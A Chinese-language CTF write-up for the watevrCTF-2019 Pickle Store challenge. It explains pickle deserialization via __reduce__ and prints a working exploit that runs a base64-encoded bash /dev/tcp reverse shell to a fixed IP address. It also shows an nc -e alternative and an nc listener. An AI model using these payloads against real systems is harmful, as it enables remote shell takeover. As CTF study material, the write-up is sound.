目录

  • 思路
  • 题解
  • 总结

思路

先抓个包看看,里面有个session


base64解码后拿到一串乱码,根据题目可以得知考点是pickle反序列化

import base64
import pickleprint(pickle.loads(base64.b64decode("gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu")))


pickle反序列化可以用__reduce__魔术方法来重写里面的方法

在开发时,可以通过重写类的 object.reduce() 函数,使之在被实例化时按照重写的方
式进行。具体而言, python 要求 object.reduce() 返回一个 (callable,
([para1,para2…])[,…]) 的元组,每当该类的对象被 unpickle 时,该 callable 就
会被调用以生成对象(该 callable 其实是构造函数)。

题解

直接拿模板

exp

import base64
import pickleclass shell(object):def __reduce__(self):# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64#不能直接bash -i 0>&1那种写法,因为像是&这些符号 都是linux的shell关键字 会影响他的语法return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))k = shell()
print(base64.b64encode(pickle.dumps(k)))

也可以用nc ip port -e /bin/bash,不过nc -e的主动连接不一定成功 因为他不一定装了nc

然后再你的vps里监听 9999 端口

nc -lvp 9999

把拿到的结果写入cookie发包,成功反弹shell


总结

中途遇到了点问题,连接被拒绝,发现是安全组策略问题,放行一些端口就好了

[watevrCTF-2019]Pickle Store相关推荐

  1. [watevrCTF 2019]Baby RLWE

    [watevrCTF 2019]Baby RLWE 题目 Mateusz carried a huge jar of small papers with public keys written on ...

  2. [watevrCTF 2019]Repyc [NPUCTF2020]BasicASM

    文章目录 [watevrCTF 2019]Repyc 反编译 替换后 整体思路: 脚本: [NPUCTF2020]BasicASM 查看题目: 分析 `call __CheckForDebuggerJ ...

  3. BUUCTF:[watevrCTF 2019]Evil Cuteness

    题目地址:https://buuoj.cn/challenges#[watevrCTF%202019]Evil%20Cuteness binwalk分析,发现zip压缩包,使用dd命令分离提取压缩包 ...

  4. [watevrCTF-2019]Pickle Store pickle序列化漏洞~~

    题目介绍 要有1000美元买flag,然后我们查看header,扫目录之类的操作,最后在cookie中发现问题~~ gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3 ...

  5. python安全之Pickle反序列化漏洞学习。

    文章目录 前言 正文 1.有关__reduce__() 2.R指令的禁用 3.有关opcode的编写 (1)原始的方法(手写) (2)神器pker 4.题目加更 5.后记 前言 写这篇文章的起因是两次 ...

  6. android版本新 老程序不能用_苹果公布 2019 年中国区最佳 App / Android 版微信更新,支持斗图 / 美团饿了么签署安全承诺...

    2019 年 App Store 中国区最佳 App 公布苹果中国官方公布了 2019 App Store 本土优秀 App.游戏的最终候选清单,共有 4 款应用.24 款游戏入围, 包括智能修图应用 ...

  7. BUU刷题记录——5

    October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...

  8. BUUCTF MISC刷题笔记(三)

    BUUOJ Misc [MRCTF2020]pyFlag Business Planning Group [ACTF新生赛2020]剑龙 [GWCTF2019]huyao [UTCTF2020]Fil ...

  9. 2021-12-27

    [watevrCTF 2019]Crypto over the intrawebs 题目 import socket, select, signal, string import sys, os, t ...

最新文章

  1. c位边上还有什么位_站c位是什么位置?众女星合影惠英红C位童瑶站边角,惠英红为何能站C位?...
  2. 创业初期,处理好事情的优先级
  3. 分布式锁防止订单重复提交_防止表单重复提交看这里!!!
  4. l和l_L&T的完整形式是什么?
  5. git(5)---Git 与Repo 管理Android代码
  6. mysql复合语句声明开始于_mysql8 参考手册--BEGIN ... END复合语句
  7. Atom 备份神器 —— Sync Settings
  8. python 内置浏览器robobrowser_Python RoboBrowser – 如何从此页面获取内容
  9. php 之 json格式
  10. 测绘工程野外测量实践实习
  11. 上传图片方法大全 [网摘]
  12. android webview 慢,Android Webview的性能问题
  13. arcgis点连线_ArcGIS中,一个点集里的点两两连线,比如有4个点,就连6条线
  14. 第三篇--编译CM系统
  15. oc 管理工具 黑苹果 下载_灵越7590黑苹果(win10下)
  16. LaTex算法代码排版-algorithm2e
  17. 站在巨人的肩膀上,用Node+ChatGPT模块实现一个接口
  18. 魔方APP项目-04-用户模块API接口、Marshmallow,基本构造器(Schema),Schema数据序列化、Schema数据反序列化、反序列化对数据验证、模型构造器(ModelSchema)
  19. Yii-- 应用(Applications)
  20. trc20和erc20、OMNI有什么区别

热门文章

  1. 射频全网通笔记(附全球频段划分及主要运营商对应表)
  2. 解决WinCE自动挂起的问题
  3. WINCE的内存配置-config.bib文件的解析
  4. wince下的蓝牙串口通信
  5. python_模块学习
  6. Android下拉刷新开源库对比(转)
  7. 域名转发与域名解析有什么区别?
  8. ArcGIS API for Silverlight 当DataGrid选中项时,地图聚焦弹出窗口,并可以播放音频文件...
  9. linux下查看文件夹的大小
  10. 一个简单XSS攻击示例及处理